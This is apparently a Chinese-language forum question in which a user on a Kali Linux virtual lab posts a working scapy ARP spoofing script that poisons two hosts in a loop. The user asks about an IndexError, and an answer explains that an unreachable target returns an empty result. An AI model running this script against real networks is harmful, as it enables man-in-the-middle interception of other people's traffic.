无法获取mac地址- Kali Linux

Question

这是我用来获取mac地址的代码，如果我获取的是ip= 10.0.2.1的mac地址，它可以正常工作，但如果我尝试获取10.0.2.7的mac地址，它会显示列表索引越界异常，但是我在虚拟机中使用kali linux，在虚拟机中也使用Windows10，而虚拟机的ip是10.0.2.7。

#!/usr/bin/env python

import scapy.all as scapy
import time


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)


while True:
    spoof("10.0.2.7", "10.0.2.1")
    spoof("10.0.2.1", "10.0.2.7")
    time.sleep(2)

下面是我在终端上得到的输出：

root@kali:~/PycharmProjects/arp_spoof# python3 arp_spoof.py 
Traceback (most recent call last):
  File "arp_spoof.py", line 22, in <module>
    spoof("10.0.2.7", "10.0.2.1")
  File "arp_spoof.py", line 16, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 12, in get_mac
    return  answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range
root@kali:~/PycharmProjects/arp_spoof# 

Answer 1

如果不能到达目标ip，scapy.ARP会返回一个空的scapy.plist.SndRcvList对象。

我已经在我的网络中试用了get_mac，它工作得很好。

您的机器是否在同一网络中？